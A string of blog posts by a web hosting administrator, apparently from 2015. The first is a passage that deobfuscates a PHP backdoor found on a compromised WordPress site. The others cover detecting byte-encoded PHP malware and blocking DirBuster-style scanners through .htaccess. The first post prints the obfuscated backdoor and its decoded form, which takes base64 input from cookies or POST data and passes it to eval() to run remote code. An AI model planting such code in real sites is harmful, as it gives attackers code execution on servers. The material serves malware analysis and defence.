Obt (FceL1T2?g=uI"BaQW_'8.YS+79M)/yU;wld&CZH:%m@#`pN~J chr
    [c97f] => ord
    [g4cfd31a5] => define
    [x8e08429d] => strlen
    [m11d3ee2a] => defined
    [ea6c] => ini_set
    [a52f7] => serialize
    [qb4e] => phpversion
    [n627] => unserialize
    [t38a0] => base64_decode
    [r51b18] => set_time_limit
    [j1001fc] => ub083
    [pe5fb] => n5a77d19
    [rb2ea] => Array
        (
        )

    [o6cb] => Array
        (
        )

    [b5e6d8f3] => 
    [n820] => 
    [t6342e1] => 47f8267d-d339-412c-bed5-792d751bb922
)

Then next bit of analysis was to look at the two Arrays "$rb2ea" and "$o6cb" as well as any function calls and function definitions, the later is easy as the "function" keyword must be used. Function calls however can be coded using the @$GLOBALS[] structure and the file has a couple of these:
$GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79]] = $_POST;
$GLOBALS[$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][60]] = $_COOKIE;
@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73], NULL);
The first line is the last assignment which gets the $_POST variables, the second gets the $_COOKIE variable, this tells me the script is called with parameters so its most likely the malicious code is remote and downloaded as needed. PHP function definitions, like most languages are constructed as follows:
function NAME ( param, more_params ) { code };
while the function call just excludes the keyword "function", So the lines above decode to:
@$GLOBALS[$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65]]($GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][82].$GLOBALS['v5fd1710b'][39].$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][73], NULL);
=
ea6c(error_log, NULL);
We find 4 characters, an opening "(", some parameters and finally a closing ")" with semi-colon. From the naming of the function its purpose is not immediately obvious, but if we look back at the keywords we decoded earlier, ea6c is in fact "ini_set" so the resultant call is:
ini_set(error_log,NULL); 
and converting all the ones we find in the file yields the file so far:
$GLOBALS['naf058a'] = 'chr';
$GLOBALS['c97f'] = 'ord';
$GLOBALS['g4cfd31a5'] = 'define';
$GLOBALS['x8e08429d'] = 'strlen';
$GLOBALS['m11d3ee2a'] = 'defined';
$GLOBALS['ea6c'] = 'ini_set';
$GLOBALS['a52f7'] = 'serialize';
$GLOBALS['qb4e'] = 'phpversion';
$GLOBALS['n627'] = 'unserialize';
$GLOBALS['t38a0']= 'base64_decode';
$GLOBALS['r51b18'] = 'set_time_limit';
$GLOBALS['j1001fc'] = 'ub083';
$GLOBALS['pe5fb'] = 'n5a77d19';
$GLOBALS['rb2ea'] = $_POST;
$GLOBALS['o6cb']  = $_COOKIE;
ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time',0);

A scan of the remainder of the file yields a few more function calls and then some function definitions as shown next:
function n5a77d19($b5e6d8f3, $w96a)
{
    $uc7dfb321 = "";

    for ($l360=0; $l360<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($b5e6d8f3);)
    {
        for ($h9e5=0; $h9e5<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($w96a) && $l360<$GLOBALS[$GLOBALS['v5fd1710b'][12].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][40]]($b5e6d8f3); $h9e5++, $l360++)
        {
            $uc7dfb321 .= $GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79]]($GLOBALS[$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][10]]($b5e6d8f3[$l360]) ^ $GLOBALS[$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][90].$GLOBALS['v5fd1710b'][89].$GLOBALS['v5fd1710b'][10]]($w96a[$h9e5]));
        }
    }
    return $uc7dfb321;
}

function ub083($b5e6d8f3, $w96a)
{
    global $t6342e1;

    return $GLOBALS[$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][60]]($GLOBALS[$GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][60]]($b5e6d8f3, $t6342e1), $w96a);
}

Pulling the first function apart and substituting the strings from the global variables defined above gives us:
function n5a77d19($param1, $param2)
{
    $retval = "";

    for ($l3b=0; $l3b < strlen($param1); )
    {
        for ($h9e5=0; $h9e5a < strlen($param2) && $l3b < strlen($param1); $h9e5++, $l3b++)
        {
            $retval .= chr(ord($param1[$l3b]) ^ ord($param2[$h9e5]));
        }
    }
    echo "RETURN DATA [ $retval ]n";
    return $retval;
}
The function's two parameters were changed using text substitution, I don't know yet what the parameters are so "$param1" and "$param2" are safe bets, while the chr() and ord() functions were decoded from our list of global variables earlier. One immediate observation is we have two global variables with the same names as the functions, the code in the function is also not clear so we can use our substitutions above to reverse this back to more legible code.
The second function can now be pulled apart:
#
#
function ub083($param1, $param2)
{
    global $v1;
    return $GLOBALS['pe5fb'('pe5fb']($param1, $v1), $param2);
}
 
A lookup of our global variables shows:
$GLOBALS['pe5fb'] = 'n5a77d19';"
The globals value "pe5fb" is the name of the previous function so this can be substituted and the parameters match so we have this back to more normal looking code.
#
function ub083($param1, $param2)
{
    global $v1;
    return n5a77d19( n5a77d19($param1, $v1), $param2);
}

Using substitution again we can decode the foreach loop:
foreach ($GLOBALS[$GLOBALS['v5fd1710b'][4].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][65].$GLOBALS['v5fd1710b'][60]] as $w96a=>$pf64a09f)
{
    $b5e6d8f3 = $pf64a09f;
    $n820 = $w96a;
}
Which yields:
foreach ( $_COOKIE as $param2=>$pf64a09f)
{
    $param1 = $pf64a09f;
    $n_0 = $param2;
}
And the remaining code in the file:
if (!$b5e6d8f3)
{
    foreach ($GLOBALS[$GLOBALS['v5fd1710b'][56].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][67].$GLOBALS['v5fd1710b'][79]] as $w96a=>$pf64a09f)^M
    {
        $b5e6d8f3 = $pf64a09f;
        $n820 = $w96a;
    }
}

$b5e6d8f3 = @$GLOBALS[$GLOBALS['v5fd1710b'][38].$GLOBALS['v5fd1710b'][33].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][89]]($GLOBALS[$GLOBALS['v5fd1710b'][36].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][65]](@$GLOBALS[$GLOBALS['v5fd1710b'][61].$GLOBALS['v5fd1710b'][3].$GLOBALS['v5fd1710b'][84].$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][1]]($b5e6d8f3), $n820));^M
if (isset($b5e6d8f3[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][17]]) && $t6342e1==$b5e6d8f3[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][17]])^M
{
    if ($b5e6d8f3[$GLOBALS['v5fd1710b'][79]] == $GLOBALS['v5fd1710b'][25])
    {
        $l360 = Array(
            $GLOBALS['v5fd1710b'][51].$GLOBALS['v5fd1710b'][34] => @$GLOBALS[$GLOBALS['v5fd1710b'][7].$GLOBALS['v5fd1710b'][60].$GLOBALS['v5fd1710b'][0].$GLOBALS['v5fd1710b'][67]](),^M
            $GLOBALS['v5fd1710b'][35].$GLOBALS['v5fd1710b'][34] => $GLOBALS['v5fd1710b'][69].$GLOBALS['v5fd1710b'][85].$GLOBALS['v5fd1710b'][1].$GLOBALS['v5fd1710b'][14].$GLOBALS['v5fd1710b'][69],^M
        );
        echo @$GLOBALS[$GLOBALS['v5fd1710b'][79].$GLOBALS['v5fd1710b'][18].$GLOBALS['v5fd1710b'][71].$GLOBALS['v5fd1710b'][10].$GLOBALS['v5fd1710b'][89]]($l360);^M
    }
    elseif ($b5e6d8f3[$GLOBALS['v5fd1710b'][79]] == $GLOBALS['v5fd1710b'][67])
    {
        eval($b5e6d8f3[$GLOBALS['v5fd1710b'][40]]);
    }
}

Once all the globals are substituted, we get::
if (!$param1)
{
    foreach ( $_POST as $param2=>$pf64a09f)
    {
        $param1 = $pf64a09f;
        $n_0 = $param2;
    }
}
$param1 = unserialize( base64_decode($param1), $n_0);

print_r($param1);

if( isset($param1['ak']) && $v1==$param1['ak'])
{
    if ($param1['a'] == 'i')
    {
        $l3b = Array(
            'pv' => phpversion(),
            'sv' => '10-1',
        );
        echo serialize($l3b);
    }
    elseif ($param1['a'] == 'e')
    {
#        eval($param1['d']);
print_r($param1);
    }

I've added the print_r() statements to help decode variable names and see what is set and as a safe guard the "eval()" call is disabled.
The final analysis shows that the program's data is collected from Cookies and POST data,  manipulated into a base64 format and then executed using the PHP eval() function. As we don't have the Cookie data or POST data further analysis is not possible. But the script allows code to be downloaded and executed so that makes it an open tool to be used at will. The trigger for us was excessive email traffic and in most cases these exploits are used to send spam mail.
Where to from here?
The fact the files came down means the clients themes and plugins need updating. A manual scan of the directories showed no other files but the coding style will enable a tool similar to the earlier exploit from two months ago to be used to find this type of code. A full cleanup of the site's files and manual checking shows no other exploits.

Byte encoding exploits in PHP files

Sid Young — Thu, 09 Apr 2015 04:08:00 +0000

Despite better coding practices, testing and peer review of code, the number of exploit attempts and the technical complexity of attacks continues to increase against web sites. With the rise in exploit attempts comes a rise in the requirements of malware and anti-virus scanners on the web server to detect and isolate the infected files.

Malware detection has been a serious business for decades and does not look like ending any time soon so IT professionals are constantly kept busy trying to detect and remove exploit attempts.

Recently one of the WordPress web sites we host was exploited via a vulnerable plug-in. The exploit was designed to constantly send SPAM emails, so it attached back to a server and then received a list of email address to send specially formatted SPAM messages. The initial scan of the code base did not pick up the Malware as the PHP code was encoded in a previously unseen encoding method but a visual look at the file showed it used an excessive number of byte-escaped characters.

Many scanners are looking for base64 encoding, this file snippet below shows what a typical base64 encoded PHP file might contain:

The byte encoded file however looks something like this:

Dissecting the first few lines of the code we can see traces of PHP command strings but randomly dispersed:

After some simple character conversions (x41=A, x42=B etc) we get:

Dissecting the lower case characters strings reveals:

Clearly we can see how the code is manipulated into random variable names but the keywords themselves are also manipulated with some parts byte encoded and other characters left un-encoded so that pattern matching is difficult at best.

There is however a simple solution, the mere fact that is has used a byte encoding method is not normal practice, you will be hard pressed to find this style of programming in any normal program with the exception of encryption code which uses a lot of hex encoded tables. So the frequency of xNN character strings is far above normal.

A word count of each file results in an interesting “xNN” % calculation, using the first infected file, we get the following:

#cat suspect-file.php| wc -c
24348

Counting up the x's we get:

#cat suspect-file.php| tr -dc '\x'| wc -c
7568
#cat suspect-file.php| tr -dc '\x'| tr -dc 'x' | wc -c
3803

Converting that to a percentage gives (3803/24348)*100 = 15.62% rounded

At 15% the presence of xNN values is far to high for a normal PHP program (excluding encryption code files), a quick check of PHP files on the web server yields an average of less than 2% of byte encoded data per file, most files having below 1% and cache small files where found to have as high as 5% due to the additional encoded data the cache app was using, so we can exclude these.

Detecting this type of exploit attempt is now a simple matter of determining the percentage of encoded bytes per normal program code and flagging the file for more exploration later.

A simple script to scan all changed files in the web server document root and then run it to check for files changed in the last 7 days should provide an adequate method till the next round of exploits develop.

How did the exploit get there?

A check of the /tmp directory by the Malware scanner found this file:

# cat /tmp/phpt2oYQG
?GIF89a u

#

A simple upload of a bogus “GIF” file with PHP code inside is the first step, if the attacker can activate the code then they can activate the uploaded exploit and they are in business.

Multiple scanning attempts will pickup both exploits and attempted exploits, we schedule these to occur on all servers everyday, this allows us to tighten our system security on a daily basis.

Directory Traversal Attacks – Beware DirBuster

Sid Young — Tue, 24 Mar 2015 01:42:00 +0000

A What?

A directory traversal attack is a type of brute force attack by which a hacker uses to get both an understanding of your web site structure and potential access to files which have not been protected from public access.

Why?

It can also be used to steal all the content from a web site by both analysing files called from web pages as well as those detected during the scan. Its not uncommon for unskilled users to place files on a server for easy access by others (friends, business colleagues etc) then forget about them, this then provides public access to unscrupulous people who might find the file(s) useful.

The other risk is that previously known exploitable code might be left on the server, especially if default installation files are left intact on the server with default user account and password details.

How is it done and What is the risk?

A hacker might scan a range of IP addresses to locate web servers that do not yet have a domain name associated with them, they will also use Google to find sites that have content they are interested in and then mine the site for potential data files. One common tool used is "DirBuster", it has a very extensive dictionary of keywords that it scans for, the tool uses forged headers to mask its appearance and then it systematically navigates the whole web site. If the tool crafts URL's that are invalid the web server will return status codes to indicate the type of error, the tool interprets these returned status code to make its mining effort more efficient.

Returned HTTP Status Codes

HTTP status codes are returned by the web server in response to URL requests. If a legitimate user stores a URL's in their browser history that is no longer valid or moved, the web server will return a numeric code response indicating whether the web site content exists or not and whether we may have typed the URL improperly.

If the content is present and valid then the web server will return a status code of 200, because that indicates that everything went properly, the attacker now knows the URL path is valid and can rapidly interrogate the path for additional files and directories.

Here is a summary of the most important HTTP status codes that web browsers use and tools like DirBuster utilize to find directories and files in web sites.

100 Continue – Codes in the 100 range indicate that, for some reason, the client request has not been completed and the client should continue.
200 Successful – Codes in the 200 range generally mean the request was successful.
300 Multiple Choices – Codes in the 300 range can mean many things, but generally they mean that the request was not completed.
400 Bad Request – The codes in the 400 range generally signal a bad request. The most common is the 404 (not found) and 403 (forbidden).

One down side to this attack is the load on the site increases causing delays and disruptions to legitimate traffic. The other is a sudden increase in logging of the web server activity and this does have the potential to exhaust disk space on the web server. The other downside is the wasted bandwith which you the client are paying for in your hosting plan.

Prevention

The most effective way to prevent this attack is to implement an intrusion detection system that recognises the success/fail traffic pattern and either blocks/drops or rate limits the client IP. Most attackers are lazy and don't alter the headers the tools use, so these can be identified and blocking at the web server level can also be implemented.

A sample .htaccess file that blocks common tools is shown below (Thanks to thehackerspot.com for crafting this configuration file):

RewriteEngine On 
 R
ewriteCond %{HTTP_USER_AGENT} ^w3af.sourceforge.net [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} dirbuster [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nikto [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} SF [OR] 
RewriteCond %{HTTP_USER_AGENT} sqlmap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} fimap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nessus [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} whatweb [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} Openvas [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} jbrofuzz [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} libwhisker [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} webshag [NC,OR] 
RewriteCond %{HTTP:Acunetix-Product} ^WVS 
RewriteRule ^.* https://127.0.0.1/ [R=301,L]

Ultimately, the best way to reduce the access and damage to a web site is to:

Implement authentication mechanism like CAPTCHA forms to reduce the effectiveness of automated tools.
Secure all content not meant for public access.
Keep access control lists up to date (.htaccess for example). For a comprehensive list see https://perishablepress.com/ultimate-htaccess-blacklist/
Rebuild a clean image of your site regularly.
Have automated cleanup tools remove old log files.
Automatically remove empty directories and temporary files used in the running of your web site.
Have automated reporting tools so you can see the status of your running site.
For commercial web sites, using a tool like SaltStack to build and deploy your site means that you should be able to build a new image of your site at any time.
Build a new clean OS image that's fully patched and up to date with the minimal software installed to reduce other potential attacks.
Consider Country (GeoIP) blocking, if your market is a particular country then limit traffic to your site to that country.

For the more advanced user/administrator, having the ability to run the web site from RAM disk will both speed it up and in the event of an attack a reboot puts a clean image up for fast access with no/minimal disk IO, this reduces the impact on your server or cloud infrastructure when these tools are used against you.

How dangerous are these tools?

The tool "DirBuster" itself is not dangerous, it leaves the door open to other exploits. As these tools evolve, the risks will change.